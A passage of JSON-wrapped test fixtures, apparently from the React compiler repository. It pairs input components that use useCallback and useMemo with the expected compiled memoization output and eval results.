    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees:true\n\nimport {useCallback} from 'react';\nimport {Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Here, the *inferred* dependencies of cb are `a` and `t1 = LoadContext capture x_@1`.\n * - t1 does not have a scope as it captures `x` after x's mutable range\n * - `x` is a context variable, which means its mutable range extends to all\n *    references / aliases.\n * - `a`, `b`, and `x` get the same mutable range due to potential aliasing.\n *\n * We currently bail out because `a` has a scope and is not transitively memoized\n * (as its scope is pruned due to a hook call)\n */\nfunction useBar({a, b}, cond) {\n  let x = useIdentity({val: 3});\n  if (cond) {\n    x = b;\n  }\n\n  const cb = useCallback(() => {\n    return [a, x];\n  }, [a, x]);\n\n  return <Stringify cb={cb} shouldInvoke={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useBar,\n  params: [{a: 1, b: 2}, true],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees:true\n\nimport { useCallback } from \"react\";\nimport { Stringify, useIdentity } from \"shared-runtime\";\n\n/**\n * Here, the *inferred* dependencies of cb are `a` and `t1 = LoadContext capture x_@1`.\n * - t1 does not have a scope as it captures `x` after x's mutable range\n * - `x` is a context variable, which means its mutable range extends to all\n *    references / aliases.\n * - `a`, `b`, and `x` get the same mutable range due to potential aliasing.\n *\n * We currently bail out because `a` has a scope and is not transitively memoized\n * (as its scope is pruned due to a hook call)\n */\nfunction useBar(t0, cond) {\n  const $ = _c(6);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = { val: 3 };\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  let x = useIdentity(t1);\n  if (cond) {\n    x = b;\n  }\n  let t2;\n  if ($[1] !== a || $[2] !== x) {\n    t2 = () => [a, x];\n    $[1] = a;\n    $[2] = x;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  x;\n  const cb = t2;\n  let t3;\n  if ($[4] !== cb) {\n    t3 = <Stringify cb={cb} shouldInvoke={true} />;\n    $[4] = cb;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useBar,\n  params: [{ a: 1, b: 2 }, true],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"cb\":\"[[ function params=0 ]]\",\"shouldInvoke\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-extended-contextvar-scope.tsx",
    "content": "// @validatePreserveExistingMemoizationGuarantees:true\n\nimport {useCallback} from 'react';\nimport {Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Here, the *inferred* dependencies of cb are `a` and `t1 = LoadContext capture x_@1`.\n * - t1 does not have a scope as it captures `x` after x's mutable range\n * - `x` is a context variable, which means its mutable range extends to all\n *    references / aliases.\n * - `a`, `b`, and `x` get the same mutable range due to potential aliasing.\n *\n * We currently bail out because `a` has a scope and is not transitively memoized\n * (as its scope is pruned due to a hook call)\n */\nfunction useBar({a, b}, cond) {\n  let x = useIdentity({val: 3});\n  if (cond) {\n    x = b;\n  }\n\n  const cb = useCallback(() => {\n    return [a, x];\n  }, [a, x]);\n\n  return <Stringify cb={cb} shouldInvoke={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useBar,\n  params: [{a: 1, b: 2}, true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-in-other-reactive-block.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useState} from 'react';\nimport {arrayPush} from 'shared-runtime';\n\n// useCallback-produced values can exist in nested reactive blocks, as long\n// as their reactive dependencies are a subset of depslist from source\nfunction useFoo(minWidth, otherProp) {\n  const [width, setWidth] = useState(1);\n  const x = [];\n  const style = useCallback(() => {\n    return {\n      width: Math.max(minWidth, width),\n    };\n  }, [width, minWidth]);\n  arrayPush(x, otherProp);\n  return [style, x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2, 'other'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useCallback, useState } from \"react\";\nimport { arrayPush } from \"shared-runtime\";\n\n// useCallback-produced values can exist in nested reactive blocks, as long\n// as their reactive dependencies are a subset of depslist from source\nfunction useFoo(minWidth, otherProp) {\n  const $ = _c(7);\n  const [width] = useState(1);\n  let t0;\n  if ($[0] !== minWidth || $[1] !== otherProp || $[2] !== width) {\n    const x = [];\n    let t1;\n    if ($[4] !== minWidth || $[5] !== width) {\n      t1 = () => ({ width: Math.max(minWidth, width) });\n      $[4] = minWidth;\n      $[5] = width;\n      $[6] = t1;\n    } else {\n      t1 = $[6];\n    }\n    const style = t1;\n    arrayPush(x, otherProp);\n    t0 = [style, x];\n    $[0] = minWidth;\n    $[1] = otherProp;\n    $[2] = width;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2, \"other\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"[[ function params=0 ]]\",[\"other\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-in-other-reactive-block.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useState} from 'react';\nimport {arrayPush} from 'shared-runtime';\n\n// useCallback-produced values can exist in nested reactive blocks, as long\n// as their reactive dependencies are a subset of depslist from source\nfunction useFoo(minWidth, otherProp) {\n  const [width, setWidth] = useState(1);\n  const x = [];\n  const style = useCallback(() => {\n    return {\n      width: Math.max(minWidth, width),\n    };\n  }, [width, minWidth]);\n  arrayPush(x, otherProp);\n  return [style, x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2, 'other'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-fewer-deps.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useCallback} from 'react';\n\n// It's correct to produce memo blocks with fewer deps than source\nfunction useFoo(a, b) {\n  return useCallback(() => [a], [a, b]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1, 2],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport { useCallback } from \"react\";\n\n// It's correct to produce memo blocks with fewer deps than source\nfunction useFoo(a, b) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a) {\n    t0 = () => [a];\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1, 2],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-fewer-deps.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useCallback} from 'react';\n\n// It's correct to produce memo blocks with fewer deps than source\nfunction useFoo(a, b) {\n  return useCallback(() => [a], [a, b]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1, 2],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-more-specific.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useCallback} from 'react';\n\n// More specific memoization always results in fewer memo block\n// executions.\n// Precisely:\n//  x_new != x_prev does NOT imply x.y.z_new != x.y.z_prev\n//  x.y.z_new != x.y.z_prev does imply x_new != x_prev\nfunction useHook(x) {\n  return useCallback(() => [x.y.z], [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{y: {z: 2}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\n\nimport { useCallback } from \"react\";\n\n// More specific memoization always results in fewer memo block\n// executions.\n// Precisely:\n//  x_new != x_prev does NOT imply x.y.z_new != x.y.z_prev\n//  x.y.z_new != x.y.z_prev does imply x_new != x_prev\nfunction useHook(x) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== x.y.z) {\n    t0 = () => [x.y.z];\n    $[0] = x.y.z;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{ y: { z: 2 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-more-specific.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useCallback} from 'react';\n\n// More specific memoization always results in fewer memo block\n// executions.\n// Precisely:\n//  x_new != x_prev does NOT imply x.y.z_new != x.y.z_prev\n//  x.y.z_new != x.y.z_prev does imply x_new != x_prev\nfunction useHook(x) {\n  return useCallback(() => [x.y.z], [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{y: {z: 2}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-read-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {sum} from 'shared-runtime';\n\nfunction useFoo() {\n  const val = [1, 2, 3];\n\n  return useCallback(() => {\n    return sum(...val);\n  }, [val]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useCallback } from \"react\";\nimport { sum } from \"shared-runtime\";\n\nfunction useFoo() {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [1, 2, 3];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const val = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => sum(...val);\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-read-dep.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {sum} from 'shared-runtime';\n\nfunction useFoo() {\n  const val = [1, 2, 3];\n\n  return useCallback(() => {\n    return sum(...val);\n  }, [val]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-scope-global.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useCallback} from 'react';\nimport {CONST_STRING0} from 'shared-runtime';\n\n// It's correct to infer a useCallback block has no reactive dependencies\nfunction useFoo() {\n  return useCallback(() => [CONST_STRING0], [CONST_STRING0]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport { useCallback } from \"react\";\nimport { CONST_STRING0 } from \"shared-runtime\";\n\n// It's correct to infer a useCallback block has no reactive dependencies\nfunction useFoo() {\n  return _temp;\n}\nfunction _temp() {\n  return [CONST_STRING0];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-infer-scope-global.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useCallback} from 'react';\nimport {CONST_STRING0} from 'shared-runtime';\n\n// It's correct to infer a useCallback block has no reactive dependencies\nfunction useFoo() {\n  return useCallback(() => [CONST_STRING0], [CONST_STRING0]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping-invoked-callback-escaping-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\n\nfunction Component({entity, children}) {\n  const showMessage = useCallback(() => entity != null);\n\n  // We currently model functions as if they could escape intor their return value\n  // but if we ever changed that (or did optimization to figure out cases where they\n  // are known not to) we could get a false positive validation error here, since\n  // showMessage doesn't need to be memoized since it doesn't escape in this instance.\n  const shouldShowMessage = showMessage();\n  return (\n    <div>\n      <div>{shouldShowMessage}</div>\n      <div>{children}</div>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      entity: {name: 'Sathya'},\n      children: [<div key=\"gsathya\">Hi Sathya!</div>],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @validateExhaustiveMemoizationDependencies:false\nimport { useCallback } from \"react\";\n\nfunction Component(t0) {\n  const $ = _c(9);\n  const { entity, children } = t0;\n  let t1;\n  if ($[0] !== entity) {\n    t1 = () => entity != null;\n    $[0] = entity;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const showMessage = t1;\n\n  const shouldShowMessage = showMessage();\n  let t2;\n  if ($[2] !== shouldShowMessage) {\n    t2 = <div>{shouldShowMessage}</div>;\n    $[2] = shouldShowMessage;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== children) {\n    t3 = <div>{children}</div>;\n    $[4] = children;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  let t4;\n  if ($[6] !== t2 || $[7] !== t3) {\n    t4 = (\n      <div>\n        {t2}\n        {t3}\n      </div>\n    );\n    $[6] = t2;\n    $[7] = t3;\n    $[8] = t4;\n  } else {\n    t4 = $[8];\n  }\n  return t4;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      entity: { name: \"Sathya\" },\n      children: [<div key=\"gsathya\">Hi Sathya!</div>],\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div></div><div><div>Hi Sathya!</div></div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping-invoked-callback-escaping-return.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\n\nfunction Component({entity, children}) {\n  const showMessage = useCallback(() => entity != null);\n\n  // We currently model functions as if they could escape intor their return value\n  // but if we ever changed that (or did optimization to figure out cases where they\n  // are known not to) we could get a false positive validation error here, since\n  // showMessage doesn't need to be memoized since it doesn't escape in this instance.\n  const shouldShowMessage = showMessage();\n  return (\n    <div>\n      <div>{shouldShowMessage}</div>\n      <div>{children}</div>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      entity: {name: 'Sathya'},\n      children: [<div key=\"gsathya\">Hi Sathya!</div>],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nimport {useCallback} from 'react';\n\nfunction Component({entity, children}) {\n  // showMessage doesn't escape so we don't memoize it.\n  // However, validatePreserveExistingMemoizationGuarantees only sees that the scope\n  // doesn't exist, and thinks the memoization was missed instead of being intentionally dropped.\n  const showMessage = useCallback(() => entity != null, [entity]);\n\n  if (!showMessage()) {\n    return children;\n  }\n\n  return <div>{children}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      entity: {name: 'Sathya'},\n      children: [<div key=\"gsathya\">Hi Sathya!</div>],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nimport { useCallback } from \"react\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { entity, children } = t0;\n\n  const showMessage = () => entity != null;\n\n  if (!showMessage()) {\n    return children;\n  }\n  let t1;\n  if ($[0] !== children) {\n    t1 = <div>{children}</div>;\n    $[0] = children;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      entity: { name: \"Sathya\" },\n      children: [<div key=\"gsathya\">Hi Sathya!</div>],\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>Hi Sathya!</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nimport {useCallback} from 'react';\n\nfunction Component({entity, children}) {\n  // showMessage doesn't escape so we don't memoize it.\n  // However, validatePreserveExistingMemoizationGuarantees only sees that the scope\n  // doesn't exist, and thinks the memoization was missed instead of being intentionally dropped.\n  const showMessage = useCallback(() => entity != null, [entity]);\n\n  if (!showMessage()) {\n    return children;\n  }\n\n  return <div>{children}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      entity: {name: 'Sathya'},\n      children: [<div key=\"gsathya\">Hi Sathya!</div>],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-deplist-controlflow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({arr1, arr2, foo}) {\n  const x = [arr1];\n\n  let y = [];\n\n  const getVal1 = useCallback(() => {\n    return {x: 2};\n  }, []);\n\n  const getVal2 = useCallback(() => {\n    return [y];\n  }, [foo ? (y = x.concat(arr2)) : y]);\n\n  return <Stringify val1={getVal1} val2={getVal2} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],\n  sequentialRenders: [\n    {arr1: [1, 2], arr2: [3, 4], foo: true},\n    {arr1: [1, 2], arr2: [3, 4], foo: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useCallback } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(10);\n  const { arr1, arr2, foo } = t0;\n  let t1;\n  if ($[0] !== arr1) {\n    t1 = [arr1];\n    $[0] = arr1;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  let getVal1;\n  let t2;\n  if ($[2] !== arr2 || $[3] !== foo || $[4] !== x) {\n    let y = [];\n    getVal1 = _temp;\n    t2 = () => [y];\n    foo ? (y = x.concat(arr2)) : y;\n    $[2] = arr2;\n    $[3] = foo;\n    $[4] = x;\n    $[5] = getVal1;\n    $[6] = t2;\n  } else {\n    getVal1 = $[5];\n    t2 = $[6];\n  }\n  const getVal2 = t2;\n  let t3;\n  if ($[7] !== getVal1 || $[8] !== getVal2) {\n    t3 = <Stringify val1={getVal1} val2={getVal2} shouldInvokeFns={true} />;\n    $[7] = getVal1;\n    $[8] = getVal2;\n    $[9] = t3;\n  } else {\n    t3 = $[9];\n  }\n  return t3;\n}\nfunction _temp() {\n  return { x: 2 };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ arr1: [1, 2], arr2: [3, 4], foo: true }],\n  sequentialRenders: [\n    { arr1: [1, 2], arr2: [3, 4], foo: true },\n    { arr1: [1, 2], arr2: [3, 4], foo: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"val1\":{\"kind\":\"Function\",\"result\":{\"x\":2}},\"val2\":{\"kind\":\"Function\",\"result\":[[[1,2],3,4]]},\"shouldInvokeFns\":true}</div>\n<div>{\"val1\":{\"kind\":\"Function\",\"result\":{\"x\":2}},\"val2\":{\"kind\":\"Function\",\"result\":[[]]},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-deplist-controlflow.tsx",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({arr1, arr2, foo}) {\n  const x = [arr1];\n\n  let y = [];\n\n  const getVal1 = useCallback(() => {\n    return {x: 2};\n  }, []);\n\n  const getVal2 = useCallback(() => {\n    return [y];\n  }, [foo ? (y = x.concat(arr2)) : y]);\n\n  return <Stringify val1={getVal1} val2={getVal2} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],\n  sequentialRenders: [\n    {arr1: [1, 2], arr2: [3, 4], foo: true},\n    {arr1: [1, 2], arr2: [3, 4], foo: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-depslist-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// We currently produce invalid output (incorrect scoping for `y` declaration)\nfunction useFoo(arr1, arr2) {\n  const x = [arr1];\n\n  let y;\n  const getVal = useCallback(() => {\n    return {y};\n  }, [((y = x.concat(arr2)), y)]);\n\n  return <Stringify getVal={getVal} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useCallback } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\n// We currently produce invalid output (incorrect scoping for `y` declaration)\nfunction useFoo(arr1, arr2) {\n  const $ = _c(7);\n  let t0;\n  if ($[0] !== arr1) {\n    t0 = [arr1];\n    $[0] = arr1;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let t1;\n  if ($[2] !== arr2 || $[3] !== x) {\n    let y;\n    t1 = () => ({ y });\n    (y = x.concat(arr2)), y;\n    $[2] = arr2;\n    $[3] = x;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  const getVal = t1;\n  let t2;\n  if ($[5] !== getVal) {\n    t2 = <Stringify getVal={getVal} shouldInvokeFns={true} />;\n    $[5] = getVal;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"getVal\":{\"kind\":\"Function\",\"result\":{\"y\":[[1,2],3,4]}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-depslist-assignment.tsx",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// We currently produce invalid output (incorrect scoping for `y` declaration)\nfunction useFoo(arr1, arr2) {\n  const x = [arr1];\n\n  let y;\n  const getVal = useCallback(() => {\n    return {y};\n  }, [((y = x.concat(arr2)), y)]);\n\n  return <Stringify getVal={getVal} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-with-no-depslist.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\n\n// Compiler can produce any memoization it finds valid if the\n// source listed no memo deps\nfunction Component({propA}) {\n  // @ts-ignore\n  return useCallback(() => {\n    return [propA];\n  });\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport { useCallback } from \"react\";\n\n// Compiler can produce any memoization it finds valid if the\n// source listed no memo deps\nfunction Component(t0) {\n  const $ = _c(2);\n  const { propA } = t0;\n  let t1;\n  if ($[0] !== propA) {\n    t1 = () => [propA];\n    $[0] = propA;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ propA: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-with-no-depslist.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\n\n// Compiler can produce any memoization it finds valid if the\n// source listed no memo deps\nfunction Component({propA}) {\n  // @ts-ignore\n  return useCallback(() => {\n    return [propA];\n  });\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-alias-property-load-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {sum} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  const x = propB.x.y;\n  return useMemo(() => {\n    return sum(propA.x, x);\n  }, [propA.x, x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: {x: 2}, propB: {x: {y: 3}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport { sum } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { propA, propB } = t0;\n  const x = propB.x.y;\n  let t1;\n  if ($[0] !== propA.x || $[1] !== x) {\n    t1 = sum(propA.x, x);\n    $[0] = propA.x;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ propA: { x: 2 }, propB: { x: { y: 3 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 5"
  },
  {
